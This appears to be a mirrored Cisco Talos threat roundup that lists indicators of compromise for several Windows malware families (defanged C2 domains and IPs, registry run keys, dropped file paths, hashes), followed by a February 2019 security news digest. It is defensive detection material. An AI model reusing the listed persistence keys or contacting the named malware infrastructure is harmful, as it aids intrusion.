    • Win.Malware.Nymaim-6832988-0
      Malware
      Nymaim is malware that can be used to deliver ransomware and other malicious payloads. It uses a domain generation algorithm to generate potential command and control (C2) domains to connect to additional payloads.
       
    • Win.Malware.Razy-6836342-0
      Malware
      Razy is oftentimes a generic detection name for a Windows trojan. They collect sensitive information from the infected host, format and encrypt the data, and send it to a C2 server.
       
    • Txt.Dropper.Sload-6835718-0
      Dropper
      The Sload downloader launches PowerShell and gathers information about the infected system. The PowerShell may download the final payload or another downloader.
       

    Threats

    Win.Malware.Ircbot-6832631-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: Microsoft Windows Manager
    Mutexes
    • b5
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 192[.]42[.]119[.]41
    Domain Names contacted by malware. Does not indicate maliciousness
    • mokoaehaeihgiaheih[.]ru
    Files and or directories created
    • %SystemDrive%\autorun.inf
    • %AppData%\winmgr.txt
    • \_\DeviceConfigManager.exe
    • %SystemDrive%\DeviceConfigManager.vbs
    • %LocalAppData%\Temp\edakubnfgu
    • %LocalAppData%\Temp\gwhroqkhwu
    • %LocalAppData%\Temp\rgjqmvnkyr
    • %LocalAppData%\Temp\phqghumeay
    • %WinDir%\M-505079372036270397590263040\winmgr.exe
    • %LocalAppData%\Temp\akfbuwqisx.bat
    • %SystemDrive%\DOCUME~1\ADMINI~1\LOCALS~1\Temp\plyfxhcodr.bat
    File Hashes
    • 0155016685ec96cc0d9e032e57da2b16052f06bd5ea8a5fb448744405d8d1ace
    • 023d3a287d1bde943a50ed487db4622072f402e49c0e9c08c832927b68d5cf40
    • 0a2780abfe422e7bf4fdd117d4b2610b4e0f439893040615e18989f2238b1a52
    • 18149c8dc18edef48582007a00d96ed443427305f7d8b416d9e324f0e265bc88
    • 194e2936fd8619b889830e9dea05e3d2cbba81ed4fcc6466cc60bdecaa468d6f
    • 1bdbb51379c9a251842b8d82dd09c9feb1ca122c69f35a3ce971233a26cff3bb
    • 204b9ddd234085b28443bc1962ccc2fc4751529972593619fd1f8416f5f46dd1
    • 22a200305586a9d023edbe62ce72ce33d5800537c28071ea2b2d1e1173a1e429
    • 3335e5f96b84ba3ba92acf70f868340875856a5fc4d9fbb20a1fb8783e2a4d5f
    • 355c1a0b0acab5c0f981338a00195aca24391e030bf2b5dc86d40b0a6be8d9db
    • 385d96319115bbb45d56433998e760c8e91fa3b18cdad9e13e7ff5aac8cd18fa
    • 3cdede79cbbb84a194e8cc8b7a4e773fb7ac7422dba189c97e182b60cf5dc3e9
    • 416c4f95ec6425c7e10dbbf76aad05555581ce2afcd463312196488108a19d49
    • 458b83abe7158987c36e9adc7b53302a9f2c3a32515187aab2ab8a94547416eb
    • 47ff491c3eaf993620053967094442d55a7171a7392b20be5887b6df47923bfe
    • 495f52061c57729619359397a0727a5ac7292b4f4460293f2e73b1b57b21ddf7
    • 4c7a2291c7d7bec4c0c6f4a88365de272558e3468fe8792530fb437a9505866c
    • 4da013c828fda6709236939355624832f6cd5a881ce74d0e8ef62cbbb80a14e7
    • 4e15c0dfd45c1389bd5a242a06b1f6811f3ef12964cbb5d842733543f3c37461
    • 4f94991e91530687b0edd128f5032b8f5b689a5bcd86e50bb02a6202f2546a06
    • 5c4f4750c1d7ccbd0f28e4e19a427f70aeef6914e039e07907175ec72f7b55ab
    • 6b6283f336de2e90aaba477e95806875a750cd4d320ff76032b674b0664048b3
    • 7ba9e9ce4e5a4e2e96f01e2ae5726ca7449893df71ba9395834486a003f9db20
    • 7eea4d9381e165b9200410d56b7d3e52dae2261147d259837ab88c5297c6c157
    • 88955e642b622659964daae8899209553f3f90abe4454e043d7cbe05a48b23ec

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid




    Umbrella




    Win.Malware.Mikey-6832636-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • 3749282D282E1E80C56CAE5A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 199[.]79[.]62[.]18
    Domain Names contacted by malware. Does not indicate maliciousness
    • www[.]britanniapharmaceutical[.]net
    Files and or directories created
    • %AppData%\D282E1\1E80C5.lck
    • %AppData%\D282E1
    • %AppData%\D1CC40\0F3583.hdb
    • %AppData%\D1CC40\0F3583.lck
    File Hashes
    • 04fc9b401a35a597d116a04ddf44b12d33089c695bb0dcfe4a23fd8f2b2f0fea
    • 153263c5ac6d33b6794f356351a2f87427962d872c1a80454d9ff954f361b63d
    • 1de3670adb0c402e6d617ccb069f9cefab146c05e52d4f9f3373848a0f8e0b51
    • 38edc6ba8a59e8313451f8a97e8be294f0712712e5df835ffda5d77cd30a9a23
    • 39ccb7bf5a25f6c14b2bf4eedc6e79a41c7a35fd7904345e4350b0e3a030de98
    • 3e7dd0a781a6f30f86d456356aead93f92c8e35b465fc8f376d74d889b83ac08
    • 585c2b64c11a2923a948ac4b3b8d91fe2b4b513fab1d24356dc25b78ee1b936f
    • 62ea6bd48c060eac41280d0cbf875548bebeddfc1bf433d147be9cf81a2481cd
    • 6cf5c02df365b6a056fb8aaa18777837ee2773bbf8ad02b898e915b1c0265eb7
    • 7dc2571db00def41d9ceb57d79203a692e2b1d498b1af7e82c98af7aea157778
    • 7e0dc31d89ab9984bcd87bacd436a88cafe4ed4c7a26f9c817e161970e01f97f
    • a64e51d88767f4a13ce80fd8dc5c7de19a3759a8a908ffbfd5dedaa862adcadf
    • bcd2bb9f0102fb0e8c32db81da0febb6c8da21ad34654cca9820be5b02fa069f
    • cbbcb3663fa758abe7028118fdfd5d18eecef043ac7f08f8b70874773ebf7004
    • feb81e6fc80e9338b19cde6f6ce58293c0db387ce50e5e457668b0ce580958ef

    Coverage


    Screenshots of Detection

    AMP




    ThreatGrid



    Umbrella



    Win.Ransomware.Generickdz-6832954-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: api-PQEC
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 87[.]106[.]18[.]141
    • 72[.]52[.]91[.]14
    Domain Names contacted by malware. Does not indicate maliciousness
    • groupcreatedt[.]at
    Files and or directories created
    • %AppData%\Microsoft\Dmlogpui
    • %AppData%\Microsoft\Dmlogpui\datat3hc.exe
    • %LocalAppData%\Temp\F74\7BA.bat
    File Hashes
    • 00da836f3848a2df7d8b9d6eb4c02bd5a03cc618aac562c2d6dd3b000d6aba75
    • 011c084738878e7bc038ed2f56cd820e072f54f1994fa0efb1d03805f3ec575d
    • 015dd851a0aee35e6e46c47ee65d8e814dff7988c8a999db760d0c5cf2f184de
    • 01beb8642155e53e609f923f8488b02d2761e5579a4b5bf5f988fd4aa50c1a56
    • 0b84d79be2f1135333aa13494a2df0d661e6aa8b500dfc23e436e0a99c8cd957
    • 12afbc7f9292813c600ed57da2a9705626c01f9ed4ca5bf5703b92045e9f3204
    • 21536e8026154ef4ab6d872aab046c413fb5da2909fac4d88d8a38bdc7d037d2
    • 36b3e5325ec7bc85a8bafc3ffb07854a1bb838fa729841e9e03c0e1901d4a813
    • 3daa666719e5430dba3f6a47e9a4a56899a06fe10502956d9ed2a51e40d24d86
    • 467ab756dc72eb56d4024f8c67afbb344178edff2c421750763b031ed9ab564d
    • 4cc1114ed779f88b626e6b07a51069a218885af13583398e013851ebd3892fcf
    • 4f0eaf1066c3760577d973b8b431ba44598364db1839e30657f72678f5d06e74
    • 52804b826910bed6b531fb32523de464206ce8114d3401e96e96d630508452db
    • 5405a79fb980bb79fc2a827439a941de486f4fbf4d380e8f488aef4111599572
    • 569043f311f56553c92984b02c03cb7108c8a2eac5b193e66fce65973245dcf1
    • 56bfb16f5287bf176196a0302dc14658fc3519a4c3cd666d2289be11d72830a3
    • 56fd6905f84e32018f96409810d62e21c7e423f905aa09b17b7f3aa2e228b42c
    • 5dacf2bf6b83d7cfb4bb90abf0c16ba2c05f04904eb7a3ecfb04ee2ada5d6154
    • 5fc956f1e8bb17ffb59b78a23795442e91fb843b9de86f34c849988e0f5c9a74
    • 66f7bede6d972cdd883a74643bf4e7e2e29e35680f74ba7736863276dd95d5dd
    • 6938484ee56153097948d56f62d2a7f9251295b3c52b171d3f8366564c1ff985
    • 6edbcdf33c2a6fb29360fc61fbbddf384fb974de8d4d1dc827b113fd1b6383aa
    • 6f9ffb03fcc68a30c4bd3326e39d598c8b4fbf4e2c7569e1aab032f48900415a
    • 70cf8a8f77b550ee351934ca3fd506b1c00522cb268a19a9a0fc2e2d266665a2
    • 7325117939e856c87d9cb980a90be1f876765b992eb743c3813d93efcc422923

    Coverage


    Screenshots of Detection

    AMP





    ThreatGrid



    Umbrella



    Win.Malware.Nymaim-6832988-0


    Indicators of Compromise


    Registry Keys
    • <HKCU>\SOFTWARE\MICROSOFT\GOCFK
      • Value Name: mbijg
    • <HKCU>\SOFTWARE\MICROSOFT\KPQL
      • Value Name: efp
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • N/A
    Domain Names contacted by malware. Does not indicate maliciousness
    • xxvtlrbo[.]com
    • zmupmfnkbmcp[.]pw
    • plmypyiga[.]net
    • fkpblrwoj[.]net
    • akzce[.]in
    • hxthmoalhozv[.]pw
    • vmafqojqbxo[.]in
    • uhizks[.]com
    Files and or directories created
    • %SystemDrive%\DOCUME~1\ADMINI~1\LOCALS~1\Temp\fro.dfx
    • %SystemDrive%\DOCUME~1\ADMINI~1\LOCALS~1\Temp\npsosm.pan
    • %SystemDrive%\Documents and Settings\All Users\pxs\dvf.evp
    • %SystemDrive%\Documents and Settings\All Users\pxs\pil.ohu
    • %AllUsersProfile%\ph
    • %AllUsersProfile%\ph\eqdw.dbc
    • %AllUsersProfile%\ph\fktiipx.ftf
    • %LocalAppData%\Temp\gocf.ksv
    • %LocalAppData%\Temp\kpqlnn.iuy
    File Hashes
    • 026587694b3c6c2b805ce3349f7de0188ae5eb64aec3fa4fb1d7941ed909bdf3
    • 02751abec497c2eabd985f8302af076e8389a07634fd1b50af4fd2007eeea2e6
    • 03f11327cc260cac961607d223b918c2a13eb1d2b9b38e01249ba5c0b3ba1ea6
    • 04f5aac7cc404319b34002b6052dfd884fdff7ebffd70488352be923bbaf5b5b
    • 052775d28aa2f225fdff6dca5ab26b94889fd1c36a1b87501f2c977f1264635a
    • 059c431655ba6c80881dbad93efcdb720bfe6a5580ae956074474cfd41b5c5cd
    • 08f9579ab7a73b489d74ce5889790d01a9875dbbeebfad1d8c32de163942bbb6
    • 09556303b704dd636a500f354fb8acf90ecbdb48a4588e98957efdfed3e07c92
    • 0a336eca0241a00a7236416172c4dc3d3c6e7e6c048f03e5252b583453fcc14f
    • 13257148820b602f9ea243c3ef0f0af3049396848702ce7c431a19bb3b92d078
    • 15887d922b368ae79c0a9cbfb151851151b5f7ac85e4c17cf33711daab12b7ed
    • 169ccd6fec92c295224a17c2454f5e8a10aca73d5b91b3347b79f97eac6cbd0f
    • 17d9a7c863966c8f8d06a3e874b50cdfb8d9f04617243a2c82b8a1917c2d1401
    • 1a3477bf67688bc79e975c197aad329ef8131b002cea06f29f41edc432915944
    • 1b570e1b58ed4f5f28370807f365fdab8da5ee11744dc0b0753a9ce643447776
    • 1d5b6e6cf7d911cacae10c2a4a3cec81988c55bebed8eff63b590fe65f987a44
    • 1f92f057a6c8e3e8ebe57a791be9fd0337cd4e18dbfaa6d70923428dead10f87
    • 21a0b26ff905b34dc3e648bc5a895d77198138048c97a44aa011a92bc1682d3c
    • 22c4afb82854338010a5d0359431b72226fc6f61219036c09a1b8226a2de233f
    • 23d9099b8596bb36fe8fd4f5e3e129a80d56f28bef0a169a3161c3cd1f917d73
    • 2744ffd5c3c6e9d1402c518cc7be298f385c94ef4cf586239190439a8ef1273e
    • 282805957430611b783bc1383c793bca96d2c9b9a01ad1cd959d6870d64f7510
    • 28839dea14fa732585347278b5e14bc0a5d741d645af8f3726efa52e747f37e6
    • 28dd921beecc08c8a4151646d7fabc16c494eb96deff2271a88da7e55db60cf3
    • 29cb7da2ab5e7431bb7227c7bffbc1bb35e47d3dd48d5f90de680d64ad3d17ac

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Umbrella




    Win.Malware.Razy-6836342-0


    Indicators of Compromise


    Registry Keys
    • <HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: AGP Manager
    • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
      • Value Name: Fremmanende
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 185[.]244[.]30[.]121
    Domain Names contacted by malware. Does not indicate maliciousness
    • irokko[.]ddns[.]net
    Files and or directories created
    • %AppData%\D19AB989-A35F-4710-83DF-7B2DB7EFE7C5\run.dat
    • %ProgramFiles% (x86)\AGP Manager\agpmgr.exe
    • %ProgramFiles%\SCSI Host\scsihost.exe
    • %LocalAppData%\Temp\Feodor3.exe
    • %TEMP%\Feodor3.exe
    File Hashes
    • 0478a5fe6b6f8426e7d4c974c793324e96f5c98ae2639e733bbf1a899109eab0
    • 11001e99cc3c630319a3e656affd9a4f99d6e415d9d11e5a19b38badbe2a6276
    • 19aa677502df6111edbea75aaa7da4c355b7ade7e2412b94df0f0153f3579a8e
    • 1dfd97941a2a7984c01fe705de5b2a509474717b2a59cd28e3565e827a9b27b6
    • 201699b6305f41121b0b38ac5514b2a18d6b44ac40361334343da2e949a368e7
    • 23ab227adc1b5ef3b49500b90b5414363436667ab2e1268206b098078ab74e35
    • 28d291b0699504ab6e5d551a00d16e90a9b5688af42a32c5dd1ad9229f3e5ea0
    • 5212cd679a3a0571a0a497d5953e1fd2e9eb0b0d64a09dc9d0ad928029065a03
    • 538774bed3fb08b2efb0f88b21092db3ddbc5563e503db019442029904c45533
    • 5d1179480e28c69afef5a78a1e1038de01c74482c0bec4030233f88ae5a9b6bd
    • 70fab993b38acc0f6a5d0a890a7ad432e977c32fa6068e004850b9094b632415
    • 8a11ba0d79dbbcfd9449c84132d3f4cb26abbac4d9856917e96687c32748d4de
    • ad3b893cf85eb2719e9c99dbc9a39c3aa6a56e6ecc1827f5b7023465708fcdc8
    • ae404720b381527be8150809b914c5da1038bc475d39ca647be7deca06440439
    • d5693ccd1dde37f10582f5df251b8a239ecc85ef29d78a9528c82779d85a7d62
    • e230deaf74421919f1277a6ebf52a7e77e124edab01366da5ff63e328a88f09b
    • fc96e1acc7e4bdf7786d64c3d997f47d233812641e431b829dc554743978d863

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Txt.Dropper.Sload-6835718-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 92[.]63[.]197[.]153
    Domain Names contacted by malware. Does not indicate maliciousness
    • N/A
    Files and or directories created
    • %LocalAppData%\TempTuH51.exe
    • %LocalAppData%\Temp\dsise5x0.zjp.ps1
    • %LocalAppData%\Temp\ovhjx4if.qdc.psm1
    File Hashes
    • 247820502a0bb4066958963420bced4ede844f758b580ef553b83d22d2de99e6
    • 52c5a6d4d5984a25e098c5b48939e2d4fed914323d36cfc1a593fa4f39d88785
    • 6706cebc801e8f5dcbfea387e5626ecdc918ad9df4b66f81d1705e160b48495d
    • 6ccf2fd74da92da68edcf710b0e5f0e7c9abc57b4ac108bdf45aedb690836a45
    • 725c0459b17e799b8ee52e50436aabdda767a6c4affbbff0a70c1cde97708b7b
    • b3198591f2f417712cc13c728bb516c890175483a76580e4ec30cd5bac77bd77
    • d01e11c3130dd60993d6157dd1105e0248efbb4f9bb47623d423b501780774d6
    • d673a40e2e3828f924af66a3cb1651a40e61689d58e5abcb86dabdfe8039da85
    • e71b83215799c2e312285afc4b7ee22dbe3c30615b68aefc2d4401ffb6d2ff74
    • f1acf589e8d7efdb1916c0e50f664a0511d3e61141ffb32f7fd8fa24f95f7ad8
    • ff30f70845268fea1287e2d484a4afcb6f4da3cc365b21136318213be765e58c

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Malware



    ↧

    Cyber Security Week in Review (Feb. 1)

    February 1, 2019, 9:38 am
    $
    0
    0
    Welcome to this week's Cyber Security Week in Review, where Cisco Talos runs down all of the news we think you need to know in the security world. For more news delivered to your inbox every week, sign up for our Threat Source newsletter here.

    Top headlines this week

    • Apple revoked a set of developer tools from Facebook. The two tech companies got into a tug-of-war this week over a Facebook program that came to light where they paid users to install a VPN on their mobile devices. Facebook would then track users’ habits via the VPN. Facebook has now ended that program.
    • Apple temporarily disabled its group FaceTime service as it fixes a vulnerability. If exploited, an attacker could potentially listen in on conversations via Apple devices’ microphones even if the user doesn’t answer a FaceTime call. Apple’s slow response to this bug has prompted New York’s attorney general to launch an investigation.
    • The U.S. filed several criminal charges against Chinese tech company Huawei. One indictment accused Huawei of attempting to steal trade secrets from mobile company T-Mobile, while another says the company worked to bypass American sanctions against Iran.

    From Talos

    • Attackers are utilizing a fake job posting from Cisco Korea to infect users. Based on our research, we believe this is the latest in a long string of attacks from the same threat actor.
    • There are multiple vulnerabilities in ACD Systems' Canvas Draw 5. The vulnerable component of Canvas Draw 5 lies in the handling of TIFF and PCX images. Snort rules 39593 - 39596, 39599 - 39632, 47336, 47337 can help protect you from the exploitation of these vulnerabilities.
    • Python.org contains an exploitable denial-of-service vulnerability in its X509 certificate parser. A specially crafted X509 certificate can cause a NULL pointer to dereference, resulting in a denial of service. Snort rules 48854 and 48855 can protect you from the exploitation of this vulnerability. 
    • Talos discovered two vulnerabilities that could allow remote code execution and memory disclosure at the kernel level in WIBU-SYSTEMS WibuKey. WibuKey is a USB key designed to protect software and intellectual properties. Snort rules 47750 and 47751 can protect you from the exploitation of these vulnerabilities. 

    Malware roundup

    • The FormBook malware is back, this time targeting retail and hospitality companies. The information-stealer first appeared in 2016, and its use has recently risen through a new malware-hosting service.
    • The FBI and Air Force are working together to dismantle a North Korean botnet. Joanap is a remote access tool believed to be associated with the Lazarus Group APT. Snort rule 46885 can prevent Joanap from making an outbound connection.
    • A new cryptocurrency malware is targeting Macs. A variant of OSX.DarthMiner, the malware steals browser cookies and saved passwords in the Google Chrome web browser. 
    • American and Belgian authorities shut down an illegal online marketplace. xDedic, a website that concealed the location of its servers and was often used to sell personal information stolen in cyber attacks, is responsible for roughly $68 million of fraud.

    The rest of the news

    • Google removed several data collection apps from the iOS App Store. The apps collected data from users’ phones, browsers and routers with their consent. In exchange, Google sent gift cards to the users. However, they did not properly operate under Apple’s developer enterprise program.
    • The United Arab Emirates has gathered a group of hackers to track adversaries of their government. Many of the members are former U.S. National Security Agency hackers. 
    • A group of 2.2 billion login credentials is circulating among hacking groups. This trove of information is part of a smaller collection that was uncovered by a security researcher earlier this year.
    • A distributed denial-of-service attack recently broke the record for packets sent per second. Security firm Imperva says they recently stopped an attack against their client that crossed the 500 million packets per second mark. 
    • Airbus employees’ data was accessed as the result of a recent data breach. The airline says there was no impact to their commercial operations or intellectual property.
    • Chrome and Firefox fixed several security flaws in the latest versions of their browsers. Chrome 72 fixed 58 CVEs, including one that was rated “critical,” while Firefox patched seven CVEs, including three “critical” ones. 
    ↧
    Viewing all 2014 articles
    Browse latest View live
    Search
    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>